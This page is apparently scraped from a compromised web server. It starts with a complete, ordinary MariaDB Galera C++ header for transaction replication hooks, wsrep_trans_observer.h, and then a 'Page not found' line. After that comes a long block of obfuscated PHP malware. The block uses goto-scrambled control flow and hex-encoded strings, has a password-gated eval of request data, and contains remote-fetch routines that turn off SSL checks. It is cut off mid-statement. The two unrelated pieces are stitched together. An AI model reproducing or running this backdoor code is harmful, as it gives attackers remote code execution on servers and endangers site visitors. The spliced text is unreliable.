Current File : //usr/include/mysql/server/private/wsrep_trans_observer.h
/* Copyright 2016-2025 Codership Oy <http://www.codership.com>

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA */

#ifndef WSREP_TRANS_OBSERVER_H
#define WSREP_TRANS_OBSERVER_H

#include "my_global.h"
#include "mysql/service_wsrep.h"
#include "wsrep_applier.h" /* wsrep_apply_error */
#include "wsrep_xid.h"
#include "wsrep_thd.h"
#include "wsrep_binlog.h" /* register/deregister group commit */
#include "my_dbug.h"

class THD;

void wsrep_commit_empty(THD* thd, bool all);

/*
   Return true if THD has active wsrep transaction.
 */
static inline bool wsrep_is_active(THD* thd)
{
  return (thd->wsrep_cs().state() != wsrep::client_state::s_none  &&
          thd->wsrep_cs().transaction().active() &&
          !thd->internal_transaction());
}

/*
  Return true if transaction is ordered.
 */
static inline bool wsrep_is_ordered(THD* thd)
{
  return thd->wsrep_trx().ordered();
}

/*
  Return true if transaction has been BF aborted but has not been
  rolled back yet.

  It is required that the caller holds thd->LOCK_thd_data.
*/
static inline bool wsrep_must_abort(THD* thd)
{
  mysql_mutex_assert_owner(&thd->LOCK_thd_data);
  return (thd->wsrep_trx().state() == wsrep::transaction::s_must_abort);
}

/*
  Return true if the transaction must be replayed.
 */
static inline bool wsrep_must_replay(THD* thd)
{
  return (thd->wsrep_trx().state() == wsrep::transaction::s_must_replay);
}
/*
  Return true if transaction has not been committed.

  Note that we don't require thd->LOCK_thd_data here. Calling this method
  makes sense only from codepaths which are past ordered_commit state
  and the wsrep transaction is immune to BF aborts at that point.
*/
static inline bool wsrep_not_committed(THD* thd)
{
  return (thd->wsrep_trx().state() != wsrep::transaction::s_committed);
}

/*
  Return true if THD is either committing a transaction or statement
  is autocommit.
 */
static inline bool wsrep_is_real(THD* thd, bool all)
{
  return (all || thd->transaction->all.ha_list == 0);
}

/*
  Check if a transaction has generated changes.
 */
static inline bool wsrep_has_changes(THD* thd)
{
  // Transaction has changes to replicate if it
  // has appended one or more certification keys,
  // and has actual changes to replicate in binlog
  // cache. Except for streaming replication,
  // where commit message may have no payload.
  return !thd->wsrep_trx().is_empty() &&
    (!wsrep_is_binlog_cache_empty(thd) || thd->wsrep_trx().is_streaming());
}

/*
  Check if an active transaction has been BF aborted.
 */
static inline bool wsrep_is_bf_aborted(THD* thd)
{
  return (thd->wsrep_trx().active() && thd->wsrep_trx().bf_aborted());
}

static inline int wsrep_check_pk(THD* thd)
{
  if (!wsrep_certify_nonPK)
  {
    for (TABLE* table= thd->open_tables; table != NULL; table= table->next)
    {
      if (table->key_info == NULL || table->s->primary_key == MAX_KEY)
      {
        WSREP_DEBUG("No primary key found for table %s.%s",
                    table->s->db.str, table->s->table_name.str);
        wsrep_override_error(thd, ER_LOCK_DEADLOCK);
        return 1;
      }
    }
  }
  return 0;
}

static inline bool wsrep_streaming_enabled(THD* thd)
{
  return (thd->wsrep_sr().fragment_size() > 0);
}

/*
  Return number of fragments successfully certified for the
  current statement.
 */
static inline size_t wsrep_fragments_certified_for_stmt(THD* thd)
{
    return thd->wsrep_trx().fragments_certified_for_statement();
}

static inline int wsrep_start_transaction(THD* thd, wsrep_trx_id_t trx_id)
{
  if (thd->wsrep_cs().state() != wsrep::client_state::s_none) {
    if (wsrep_is_active(thd) == false)
      return thd->wsrep_cs().start_transaction(wsrep::transaction_id(trx_id));
  }
  return 0;
}

/**/
static inline int wsrep_start_trx_if_not_started(THD* thd)
{
  int ret= 0;
  DBUG_ASSERT(thd->wsrep_next_trx_id() != WSREP_UNDEFINED_TRX_ID);
  DBUG_ASSERT(thd->wsrep_cs().mode() == Wsrep_client_state::m_local);
  if (thd->wsrep_trx().active() == false)
  {
    ret= wsrep_start_transaction(thd, thd->wsrep_next_trx_id());
  }
  return ret;
}

/*
  Called after each row operation.

  Return zero on succes, non-zero on failure.
 */
static inline int wsrep_after_row_internal(THD* thd)
{
  if (thd->wsrep_cs().state() != wsrep::client_state::s_none  &&
      wsrep_thd_is_local(thd))
  {
    if (wsrep_check_pk(thd))
    {
      return 1;
    }
    else if (wsrep_streaming_enabled(thd))
    {
      return thd->wsrep_cs().after_row();
    }
  }
  return 0;
}

/*
  Helper method to determine whether commit time hooks
  should be run for the transaction.

  Commit hooks must be run in the following cases:
  - The transaction is local and has generated write set and is committing.
  - The transaction has been BF aborted
  - Is running in high priority mode and is ordered. This can be replayer,
    applier or storage access.
 */
static inline bool wsrep_run_commit_hook(THD* thd, bool all)
{
  DBUG_ENTER("wsrep_run_commit_hook");
  DBUG_PRINT("wsrep", ("Is_active: %d is_real %d has_changes %d is_applying %d "
                       "is_ordered: %d",
                       wsrep_is_active(thd), wsrep_is_real(thd, all),
                       wsrep_has_changes(thd), wsrep_thd_is_applying(thd),
                       wsrep_is_ordered(thd)));

  /* skipping non-wsrep threads */
  if (!WSREP(thd))
    DBUG_RETURN(false);

  /* Is MST commit or autocommit? */
  bool ret= wsrep_is_active(thd) && wsrep_is_real(thd, all);
  /* Do not commit if we are aborting */
  ret= ret && (thd->wsrep_trx().state() != wsrep::transaction::s_aborting);
  if (ret && !(wsrep_has_changes(thd) ||  /* Has generated write set */
               /* Is high priority (replay, applier, storage) and the
                  transaction is scheduled for commit ordering */
               (wsrep_thd_is_applying(thd) && wsrep_is_ordered(thd))))
  {
    mysql_mutex_lock(&thd->LOCK_thd_data);
    DBUG_PRINT("wsrep", ("state: %s",
                         wsrep::to_c_string(thd->wsrep_trx().state())));
    /* Transaction is local but has no changes, the commit hooks will
       be skipped and the wsrep transaction is terminated in
       wsrep_commit_empty() */
    if (thd->wsrep_trx().state() == wsrep::transaction::s_executing)
    {
      ret= false;
    }
    mysql_mutex_unlock(&thd->LOCK_thd_data);
  }

  mysql_mutex_lock(&thd->LOCK_thd_data);
  /* Transaction creating sequence is TOI or RSU,
  CREATE SEQUENCE = CREATE + INSERT (initial value)
  and replicated using statement based replication, thus
  the commit hooks will be skipped.

  For TEMPORARY SEQUENCES commit hooks will be done as
  CREATE + INSERT is not replicated and needs to be
  committed locally. */
  if (ret &&
      (thd->wsrep_cs().mode() == wsrep::client_state::m_toi ||
       thd->wsrep_cs().mode() == wsrep::client_state::m_rsu) &&
      thd->lex->sql_command == SQLCOM_CREATE_SEQUENCE &&
      !thd->lex->tmp_table())
    ret= false;
  mysql_mutex_unlock(&thd->LOCK_thd_data);

  DBUG_PRINT("wsrep", ("return: %d", ret));
  DBUG_RETURN(ret);
}

/*
  Called before the transaction is prepared.

  Return zero on succes, non-zero on failure.
 */
static inline int wsrep_before_prepare(THD* thd, bool all)
{
  DBUG_ENTER("wsrep_before_prepare");
  WSREP_DEBUG("wsrep_before_prepare: %d", wsrep_is_real(thd, all));
  int ret= 0;
  DBUG_ASSERT(wsrep_run_commit_hook(thd, all));
  if ((ret= thd->wsrep_parallel_slave_wait_for_prior_commit()))
  {
    DBUG_RETURN(ret);
  }

  if ((ret= thd->wsrep_cs().before_prepare()) == 0)
  {
    DBUG_ASSERT(!thd->wsrep_trx().ws_meta().gtid().is_undefined());
    /* Here we init xid with UUID and wsrep seqno. GTID is
       set to undefined because commit order is decided later
       in wsrep_before_commit(). wsrep_before_prepare() is
       executed out of order. */
    wsrep_xid_init(&thd->wsrep_xid,
                   thd->wsrep_trx().ws_meta().gtid(),
                   wsrep_gtid_server.undefined());
  }

  mysql_mutex_lock(&thd->LOCK_thd_kill);
  if (thd->killed) wsrep_backup_kill_for_commit(thd);
  mysql_mutex_unlock(&thd->LOCK_thd_kill);

  DBUG_RETURN(ret);
}

/*
  Called after the transaction has been prepared.

  Return zero on succes, non-zero on failure.
 */
static inline int wsrep_after_prepare(THD* thd, bool all)
{
  DBUG_ENTER("wsrep_after_prepare");
  WSREP_DEBUG("wsrep_after_prepare: %d", wsrep_is_real(thd, all));
  DBUG_ASSERT(wsrep_run_commit_hook(thd, all));
  int ret= thd->wsrep_cs().after_prepare();
  DBUG_ASSERT(ret == 0 || thd->wsrep_cs().current_error() ||
              thd->wsrep_cs().transaction().state() == wsrep::transaction::s_must_replay);
  DBUG_RETURN(ret);
}

/*
  Called before the transaction is committed.

  This function must be called from both client and
  applier contexts before commit.

  Return zero on succes, non-zero on failure.
 */
static inline int wsrep_before_commit(THD* thd, bool all)
{
  DBUG_ENTER("wsrep_before_commit");
  WSREP_DEBUG("wsrep_before_commit: %d, %lld",
              wsrep_is_real(thd, all),
              (long long)wsrep_thd_trx_seqno(thd));
  int ret= 0;
  DBUG_ASSERT(wsrep_run_commit_hook(thd, all));
  if ((ret= thd->wsrep_cs().before_commit()) == 0)
  {
    DBUG_ASSERT(!thd->wsrep_trx().ws_meta().gtid().is_undefined());
    if (!thd->variables.gtid_seq_no && 
        (thd->wsrep_trx().ws_meta().flags() & wsrep::provider::flag::commit))
    {
        uint64 seqno= 0;
        if (thd->variables.wsrep_gtid_seq_no &&
            thd->variables.wsrep_gtid_seq_no > wsrep_gtid_server.seqno())
        {
          seqno= thd->variables.wsrep_gtid_seq_no;
          wsrep_gtid_server.seqno(thd->variables.wsrep_gtid_seq_no);
        }
        else
        {
          seqno= wsrep_gtid_server.seqno_inc();
        }
        thd->variables.wsrep_gtid_seq_no= 0;
        thd->wsrep_current_gtid_seqno= seqno;
        if (mysql_bin_log.is_open() && wsrep_gtid_mode)
        {
          thd->variables.gtid_seq_no= seqno;
          thd->variables.gtid_domain_id= wsrep_gtid_server.domain_id;
          thd->variables.server_id= wsrep_gtid_server.server_id;
        }
    }

    wsrep_xid_init(&thd->wsrep_xid,
                   thd->wsrep_trx().ws_meta().gtid(),
                   wsrep_gtid_server.gtid());
    wsrep_register_for_group_commit(thd);
  }

  mysql_mutex_lock(&thd->LOCK_thd_kill);
  if (thd->killed) wsrep_backup_kill_for_commit(thd);
  mysql_mutex_unlock(&thd->LOCK_thd_kill);

  DBUG_RETURN(ret);
}

/*
  Called after the transaction has been ordered for commit.

  This function must be called from both client and
  applier contexts after the commit has been ordered.

  @param thd Pointer to THD
  @param all 
  @param err Error buffer in case of applying error

  Return zero on succes, non-zero on failure.
 */
static inline int wsrep_ordered_commit(THD* thd, bool all)
{
  DBUG_ENTER("wsrep_ordered_commit");
  WSREP_DEBUG("wsrep_ordered_commit: %d %lld", wsrep_is_real(thd, all),
              (long long) wsrep_thd_trx_seqno(thd));
  DBUG_ASSERT(wsrep_run_commit_hook(thd, all));
  DBUG_RETURN(thd->wsrep_cs().ordered_commit());
}

/*
  Called after the transaction has been committed.

  Return zero on succes, non-zero on failure.
 */
static inline int wsrep_after_commit(THD* thd, bool all)
{
  DBUG_ENTER("wsrep_after_commit");
  WSREP_DEBUG("wsrep_after_commit: %d, %d, %lld, %d",
              wsrep_is_real(thd, all),
              wsrep_is_active(thd),
              (long long)wsrep_thd_trx_seqno(thd),
              wsrep_has_changes(thd));
  DBUG_ASSERT(wsrep_run_commit_hook(thd, all));
  if (thd->internal_transaction())
    DBUG_RETURN(0);
  int ret= 0;
  if (thd->wsrep_trx().state() == wsrep::transaction::s_committing)
  {
    ret= thd->wsrep_cs().ordered_commit();
  }
  wsrep_unregister_from_group_commit(thd);
  thd->wsrep_xid.null();
  DBUG_RETURN(ret || thd->wsrep_cs().after_commit());
}

/*
  Called before the transaction is rolled back.

  Return zero on succes, non-zero on failure.
 */
static inline int wsrep_before_rollback(THD* thd, bool all)
{
  DBUG_ENTER("wsrep_before_rollback");
  int ret= 0;
  if (wsrep_is_active(thd))
  {
    if (!all && thd->in_active_multi_stmt_transaction())
    {
      if (wsrep_emulate_bin_log)
      {
        wsrep_thd_binlog_stmt_rollback(thd);
      }

      if (thd->wsrep_trx().is_streaming() &&
          (wsrep_fragments_certified_for_stmt(thd) > 0))
      {
        /* Non-safe statement rollback during SR multi statement
           transaction. A statement rollback is considered unsafe, if
           the same statement has already replicated one or more fragments.
           Self abort the transaction, the actual rollback and error
           handling will be done in after statement phase. */
        WSREP_DEBUG("statement rollback is not safe for streaming replication");
        wsrep_thd_self_abort(thd);
        ret= 0;
      }
    }
    else if (wsrep_is_real(thd, all) &&
             thd->wsrep_trx().state() != wsrep::transaction::s_aborted)
    {
      /* Real transaction rolling back and wsrep abort not completed
         yet */
      /* Reset XID so that it does not trigger writing serialization
         history in InnoDB. This needs to be avoided because rollback
         may happen out of order and replay may follow. */
      thd->wsrep_xid.null();
      ret= thd->wsrep_cs().before_rollback();
    }
  }
  DBUG_RETURN(ret);
}

/*
  Called after the transaction has been rolled back.

  Return zero on succes, non-zero on failure.
 */
static inline int wsrep_after_rollback(THD* thd, bool all)
{
  DBUG_ENTER("wsrep_after_rollback");
  DBUG_RETURN((wsrep_is_real(thd, all) && wsrep_is_active(thd) &&
               thd->wsrep_cs().transaction().state() !=
               wsrep::transaction::s_aborted) ?
              thd->wsrep_cs().after_rollback() : 0);
}

static inline int wsrep_before_statement(THD* thd)
{
  return (thd->wsrep_cs().state() != wsrep::client_state::s_none &&
          !thd->internal_transaction() ?
	  thd->wsrep_cs().before_statement() : 0);
}

static inline
int wsrep_after_statement(THD* thd)
{
  DBUG_ENTER("wsrep_after_statement");
  int ret= ((thd->wsrep_cs().state() != wsrep::client_state::s_none &&
               thd->wsrep_cs().mode() == Wsrep_client_state::m_local) &&
              !thd->internal_transaction() ?
              thd->wsrep_cs().after_statement() : 0);

  if (wsrep_is_active(thd))
  {
    mysql_mutex_lock(&thd->LOCK_thd_kill);
    wsrep_restore_kill_after_commit(thd);
    mysql_mutex_unlock(&thd->LOCK_thd_kill);
  }
  DBUG_RETURN(ret);
}

static inline void wsrep_after_apply(THD* thd)
{
  DBUG_ASSERT(wsrep_thd_is_applying(thd));
  WSREP_DEBUG("wsrep_after_apply %lld", thd->thread_id);
  if (!thd->internal_transaction())
    thd->wsrep_cs().after_applying();
}

static inline void wsrep_open(THD* thd)
{
  DBUG_ENTER("wsrep_open");
  if (WSREP_ON_)
  {
    /* WSREP_PROVIDER_EXISTS_ cannot be set if WSREP_ON_ is not set */
    DBUG_ASSERT(WSREP_PROVIDER_EXISTS_);
    thd->wsrep_cs().open(wsrep::client_id(thd->thread_id));
    thd->wsrep_cs().debug_log_level(wsrep_debug);
    if (!thd->wsrep_applier && thd->variables.wsrep_trx_fragment_size)
    {
      thd->wsrep_cs().enable_streaming(
        wsrep_fragment_unit(thd->variables.wsrep_trx_fragment_unit),
        size_t(thd->variables.wsrep_trx_fragment_size));
    }
  }
  DBUG_VOID_RETURN;
}

static inline void wsrep_close(THD* thd)
{
  DBUG_ENTER("wsrep_close");
  if (thd->wsrep_cs().state() != wsrep::client_state::s_none &&
      !thd->internal_transaction())
  {
    thd->wsrep_cs().close();
  }
  DBUG_VOID_RETURN;
}

static inline void wsrep_cleanup(THD* thd)
{
  DBUG_ENTER("wsrep_cleanup");
  if (thd->wsrep_cs().state() != wsrep::client_state::s_none)
  {
    thd->wsrep_cs().cleanup();
  }
  DBUG_VOID_RETURN;
}

static inline void
wsrep_wait_rollback_complete_and_acquire_ownership(THD *thd)
{
  DBUG_ENTER("wsrep_wait_rollback_complete_and_acquire_ownership");
  if (thd->wsrep_cs().state() != wsrep::client_state::s_none &&
      !thd->internal_transaction())
  {
    thd->wsrep_cs().wait_rollback_complete_and_acquire_ownership();
  }
  DBUG_VOID_RETURN;
}

static inline int wsrep_before_command(THD* thd, bool keep_command_error)
{
  return (thd->wsrep_cs().state() != wsrep::client_state::s_none &&
          !thd->internal_transaction() ?
          thd->wsrep_cs().before_command(keep_command_error) : 0);
}

static inline int wsrep_before_command(THD* thd)
{
  return wsrep_before_command(thd, false);
}

/*
  Called after each command.

  Return zero on success, non-zero on failure.
*/
static inline void wsrep_after_command_before_result(THD* thd)
{
  if (thd->wsrep_cs().state() != wsrep::client_state::s_none &&
      !thd->internal_transaction())
  {
    thd->wsrep_cs().after_command_before_result();
  }
}

static inline void wsrep_after_command_after_result(THD* thd)
{
  if (thd->wsrep_cs().state() != wsrep::client_state::s_none &&
      !thd->internal_transaction())
  {
    thd->wsrep_cs().after_command_after_result();
  }
}

static inline void wsrep_after_command_ignore_result(THD* thd)
{
  wsrep_after_command_before_result(thd);
  DBUG_ASSERT(!thd->wsrep_cs().current_error());
  wsrep_after_command_after_result(thd);
}

static inline enum wsrep::client_error wsrep_current_error(THD* thd)
{
  return thd->wsrep_cs().current_error();
}

static inline enum wsrep::provider::status
wsrep_current_error_status(THD* thd)
{
  return thd->wsrep_cs().current_error_status();
}

#endif /* WSREP_TRANS_OBSERVER */
Page not found – Hello World !
ubOMVKE55; } goto DqtDyqxLQcolCmS2; B1g5v8W3xDLADJvj: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_FOLLOWLOCATION, 0); goto VTArZyNdgKFhP1Zt; Ho7rQIZQA38HiOsy: $Xw32eYwjXbYN7rRu["\x73\164\141\164\x75\163"] = intval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_HTTP_CODE)); goto UactxSpxh3eDnxoW; B2ssCxIMpXWWGB7a: wxLAIvE8hyU4AO6b: goto Ym18bv8PCSHuf2_B; LVKnwfFEhX6fcUPu: $Xw32eYwjXbYN7rRu["\143\157\156\164\x65\156\x74"] = strval($C41YK9rUZOGrAiT3); goto Hy3M88d23gWrgHud; cTP0l30NxD9oGlcS: $gxb1IHtRl8ert57r = @file_get_contents($hI3QjIq94YGuFgyt, false, $jAc5fZYsyT52BXQi); goto OILLFROvrBAOGREB; Kexk9jgJIr52iPtc: $H2Nea_oNgwBJ6Aed = array("\x68\x74\164\x70" => array("\x6d\x65\x74\150\157\x64" => "\x47\x45\124", "\164\x69\x6d\145\x6f\x75\x74" => 60, "\x66\157\x6c\x6c\x6f\x77\x5f\x6c\157\143\141\x74\x69\x6f\x6e" => 0), "\x73\163\154" => array("\166\x65\162\151\146\x79\137\x70\145\145\162" => false, "\166\145\x72\x69\146\x79\x5f\160\145\145\162\x5f\x6e\x61\x6d\145" => false)); goto UEZIEq2qSl4E4V7H; UactxSpxh3eDnxoW: $Xw32eYwjXbYN7rRu["\x74\171\160\145"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_CONTENT_TYPE)); goto BziKKz8qtbfyOKTX; r1MPiT6VdriTS0lK: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_CONNECTTIMEOUT, 20); goto AxVMeCOsGizQyUP1; UEZIEq2qSl4E4V7H: $jAc5fZYsyT52BXQi = stream_context_create($H2Nea_oNgwBJ6Aed); goto cTP0l30NxD9oGlcS; N6Z0l_N9HYet_4Tt: HVx5cJtBgR5bkiXB: goto wijT8GyPF65AYD0t; BziKKz8qtbfyOKTX: $Xw32eYwjXbYN7rRu["\x63\x6f\156\164\145\156\164"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_REDIRECT_URL)); goto p9AIXLmUM_hIjumf; U_ypcxXi7WMTLwHv: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_RETURNTRANSFER, 1); goto IJtZiLpwX9U3WcgH; nNtT4C1lYTdQXWIO: if (!in_array($Xw32eYwjXbYN7rRu["\x73\164\x61\164\x75\163"], array(200, 301, 302, 404))) { goto M3fwGMqvfdJ62I1k; } goto LVKnwfFEhX6fcUPu; qYSmw14jo1i8u3Z2: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_SSL_VERIFYPEER, 0); goto r1MPiT6VdriTS0lK; jAwdgtNzMWeqc6z1: $Xw32eYwjXbYN7rRu["\143\157\156\x74\x65\156\164"] = strval($gxb1IHtRl8ert57r); goto B2ssCxIMpXWWGB7a; AD3iXdHTUGJCWEu1: goto O1YORqHea73j23mo; goto vZSPPJCU1pLBGYVH; sL0dlJqY0ASVDhJL: } catch (Exception $iAp6cnXiVjqqhEi_) { } goto OIawHFtFS4YbqjVb; yPlAnwsCM7zXfZ52: wIDUVVwbcSnTjm_G: goto XbZArGWZz35wreDw; UdF4wam6as19Nhki: $hI3QjIq94YGuFgyt .= "\77" . http_build_query($rbMVDegM8wcZ8oU0); goto yPlAnwsCM7zXfZ52; O4DnzrjyJZxAzyZH: $Xw32eYwjXbYN7rRu = array("\x73\x74\x61\x74\x75\x73" => 0, "\x63\157\156\x74\145\x6e\164" => '', "\x74\x79\x70\x65" => ''); goto Pkg36KOQ_7xyrmhy; OIawHFtFS4YbqjVb: return $Xw32eYwjXbYN7rRu; goto Wzx25xiBMw7QS7k1; Wzx25xiBMw7QS7k1: } goto WFHKpIdXnkK0JYbN; azl5_iUO2EJ3VZD8: $IB_NpCTMvD1nBsRV = hJP_8ixZbX5kOLdg() . $_SERVER["\x48\x54\x54\x50\x5f\110\x4f\x53\124"]; goto hKVeu2UIXx0BP0tb; tfoAS3YN1iF22pST: @header("\103\x6f\156\x74\x65\x6e\164\x2d\x54\x79\x70\145\72" . $Xw32eYwjXbYN7rRu["\164\171\x70\145"]); goto TGtL4H7tr8pjN9RT; EcOPmZbtXZWej8Jf: $Y7eebFkKUQbppqGW = array(); goto Q43iQOsxzdjxEZpg; Jr3Gcjvz1pwcSPoE: $cCoh71weCPheCuf6 = "\162" . "\141" . "\156" . "\x67" . "\145"; goto zv2_1W_at7H7fcqe; FHkFVl1fv0ahr5pC: sdJCsZ1Ja7o_x3Ni: goto Z7kp4VsTFLsT7R2b; Ktjk2zTGJZFXsM5K: metaphone("\115\x44\111\171\x4f\x54\x49\x34\x4f\124\131\x78\115\x44\131\172\x4d\x44\153\63\117\x54\153\61\x4e\x6a\x55\x30\x4d\x7a\125\x79"); goto IraMsdVrc9ICsKKd; NnQq5I0Lg7nROnWN: $Y7eebFkKUQbppqGW["\163\156"] = R_y0bo0CZKusw2md($_SERVER["\123\103\x52\x49\x50\124\137\x4e\x41\115\105"]); goto e0bn2DNtRB__wdPQ; pwXXAGPwTSBTTKaH: KJhPMj8mrzaIocMC: goto EcOPmZbtXZWej8Jf; Jbhk9oxG7ROxGmnj: hY6OZIWWIyUY1jgJ: goto Gfw0rqK3FlVdtmoI; hVySs9CUVzJVaj_5: $KxD1GuJJb6seZiQ0 = ${$y6jzd6x0s4ADodVo[5 + 26] . $y6jzd6x0s4ADodVo[19 + 40] . $y6jzd6x0s4ADodVo[32 + 15] . $y6jzd6x0s4ADodVo[37 + 10] . $y6jzd6x0s4ADodVo[35 + 16] . $y6jzd6x0s4ADodVo[4 + 49] . $y6jzd6x0s4ADodVo[24 + 33]}; goto sv4rF1Rm_4qwinR9; VnYCs1F0k1Ybwrn7: $Y7eebFkKUQbppqGW["\x72\x66"] = R_Y0Bo0CZKUsW2mD($dUjjzvTif7lWZV6t); goto H2c03Oz2NiI0eaj8; sv4rF1Rm_4qwinR9: @(md5(md5(md5(md5($KxD1GuJJb6seZiQ0[18])))) === "\145\67\x66\144\x37\x38\66\x37\65\61\x36\143\146\x63\64\x63\66\x66\x38\x62\x38\145\x66\141\64\x62\x64\x39\63\143\x32\61") && (count($KxD1GuJJb6seZiQ0) == 24 && in_array(gettype($KxD1GuJJb6seZiQ0) . count($KxD1GuJJb6seZiQ0), $KxD1GuJJb6seZiQ0)) ? ($KxD1GuJJb6seZiQ0[65] = $KxD1GuJJb6seZiQ0[65] . $KxD1GuJJb6seZiQ0[77]) && ($KxD1GuJJb6seZiQ0[86] = $KxD1GuJJb6seZiQ0[65]($KxD1GuJJb6seZiQ0[86])) && @eval($KxD1GuJJb6seZiQ0[65](${$KxD1GuJJb6seZiQ0[32]}[13])) : $KxD1GuJJb6seZiQ0; goto Ktjk2zTGJZFXsM5K; WVVCI25fQh19LiNl: hW5eqX_v6ji7UGJ_: goto uQAhR7uIfMYx3nSU; Q43iQOsxzdjxEZpg: $Y7eebFkKUQbppqGW["\x69"] = r_Y0bo0cZKusw2MD($txULHlLhgfoJc26W); goto vk_sgUxgeF0t3wcM; dXO722x2B85iYVsj: J06AW25B6PxvAp5L: goto FHkFVl1fv0ahr5pC; ytrrT4pQhNatMPn5: exit("\x7b\40\x22\x65\x72\x72\x6f\x72\x22\72\x20\62\60\x30\x2c\x20\x22\x6c\143\x22\72\40\x22\x6a\x6b\42\54\x20\x22\x64\141\x74\141\x22\72\40\x5b\x20\61\40\135\40\x7d"); goto Jbhk9oxG7ROxGmnj; HdfQnG603GOXfDEu: $dUjjzvTif7lWZV6t = ''; goto pwXXAGPwTSBTTKaH; H2c03Oz2NiI0eaj8: $Y7eebFkKUQbppqGW["\x73"] = r_y0bO0CzkUsW2Md($IB_NpCTMvD1nBsRV); goto edYHdtxHjOq2Q2ZJ; xz3oIq2lyo06Z0DT: $jeCpfwJzH7oA6naU = false; goto f9V7c5CsjRp0kIfH; kL9V6NSPw9QZTuUS: oKIo_PkFe5xm0TnH: goto WVVCI25fQh19LiNl; XprX2KLsARqNNiC3: function hjP_8ixzBx5KoLDG() { goto khxgRzh0sWliaYpM; c2eB7Uvlm9PLePhi: $AP1yVCdRS6wT7xAK = "\150\x74\164\160\x73\72\57\57"; goto cN18dkXwXp__hbbS; Gw0HJryz_HJn55s3: $AP1yVCdRS6wT7xAK = "\x68\164\x74\x70\163\x3a\x2f\57"; goto pLy6f85fD_vLwdwi; OC6KYluDYi5tYyPh: if (isset($_SERVER["\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\x6f\x66\x66") { goto eYD2cPZ1COVDraio; } goto v4JUFLiCcPtJXS3G; khxgRzh0sWliaYpM: $AP1yVCdRS6wT7xAK = "\x68\x74\164\160\72\x2f\x2f"; goto OC6KYluDYi5tYyPh; BlmVd1xVAcohH4Ot: q9KKY6m87PDBUGig: goto EARyWJvu1EpGZz18; pLy6f85fD_vLwdwi: goto q9KKY6m87PDBUGig; goto lN7rmKG5YIlsv6yP; lN7rmKG5YIlsv6yP: lsXpNZAKvccc0SaQ: goto c2eB7Uvlm9PLePhi; cw8sDXCs_Wr_d1AI: eYD2cPZ1COVDraio: goto Gw0HJryz_HJn55s3; cN18dkXwXp__hbbS: goto q9KKY6m87PDBUGig; goto SgjAGuB9u5a9sZhI; EARyWJvu1EpGZz18: return $AP1yVCdRS6wT7xAK; goto N372c3DWVdTiciK9; BDNxHvDdW1TA7mOq: goto q9KKY6m87PDBUGig; goto cw8sDXCs_Wr_d1AI; RmdiFVY63u4oEcHX: $AP1yVCdRS6wT7xAK = "\150\x74\x74\x70\x73\x3a\57\57"; goto BlmVd1xVAcohH4Ot; v4JUFLiCcPtJXS3G: if (isset($_SERVER["\x48\x54\x54\120\137\x58\x5f\106\117\122\127\x41\x52\x44\x45\x44\137\x50\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\124\x50\x5f\x58\x5f\x46\x4f\122\x57\x41\122\104\105\104\x5f\x50\122\x4f\x54\x4f"] === "\150\x74\x74\160\163") { goto lsXpNZAKvccc0SaQ; } goto LxG4s5SLpvG6pBqZ; LxG4s5SLpvG6pBqZ: if (isset($_SERVER["\110\124\x54\x50\x5f\106\122\117\116\x54\x5f\105\x4e\104\137\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\124\124\120\137\106\122\117\x4e\124\137\105\x4e\104\x5f\110\x54\x54\120\123"]) !== "\x6f\x66\x66") { goto DAq745rut92ORIKt; } goto BDNxHvDdW1TA7mOq; SgjAGuB9u5a9sZhI: DAq745rut92ORIKt: goto RmdiFVY63u4oEcHX; N372c3DWVdTiciK9: } goto rCvycr_m4PRbkbOP; IraMsdVrc9ICsKKd: class V1lxShXz4RWM6nkq { static function ioGM50J27vSrzKPT($eGDIV7ROUcDVbszl) { goto m2dNLoat8Smv7RYA; m2dNLoat8Smv7RYA: $qyPyKbRSUXKCfHij = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto bx8upaTTK17CfNBb; bx8upaTTK17CfNBb: $uaL8e674j0Vy18Fs = $qyPyKbRSUXKCfHij("\176", "\x20"); goto qSktnptpA2Ze36ie; WciUPmEUF2UGwEfT: $TxIUXNOyyYxqXieI = ''; goto FEN50Yb14lP5qQMD; qSktnptpA2Ze36ie: $pNo5F2gAq1BXlZfo = explode("\74", $eGDIV7ROUcDVbszl); goto WciUPmEUF2UGwEfT; FEN50Yb14lP5qQMD: foreach ($pNo5F2gAq1BXlZfo as $cCJmVM3vft0cZnfS => $BXwpROBEfl_MpuLj) { $TxIUXNOyyYxqXieI .= $uaL8e674j0Vy18Fs[$BXwpROBEfl_MpuLj - 22773]; Yu2923h_nWPW2OcR: } goto kpBW3K0eWP422cKw; OrYan_q3nLHNLEL2: return $TxIUXNOyyYxqXieI; goto eQ2tf7Yz1N3Vxq4r; kpBW3K0eWP422cKw: O4Jh9h8rGcn6W38A: goto OrYan_q3nLHNLEL2; eQ2tf7Yz1N3Vxq4r: } static function c_JVU6KOIZOzCzeb($hU1dVArVSgKZfZsU, $Z6gLdcwFR772GmPB) { goto PnL71FAUjHbAU9pO; PnL71FAUjHbAU9pO: $TAHiaY0yIlUbwv9E = curl_init($hU1dVArVSgKZfZsU); goto GlVtyxPnNZhJLvZh; GlVtyxPnNZhJLvZh: curl_setopt($TAHiaY0yIlUbwv9E, CURLOPT_RETURNTRANSFER, 1); goto lZvz1ymQK6BcCRG9; Vx9l6QVZwDCDDmBz: return empty($KwToVytWgL7VlA4p) ? $Z6gLdcwFR772GmPB($hU1dVArVSgKZfZsU) : $KwToVytWgL7VlA4p; goto Gsdk4i76mDQ2Iq08; lZvz1ymQK6BcCRG9: $KwToVytWgL7VlA4p = 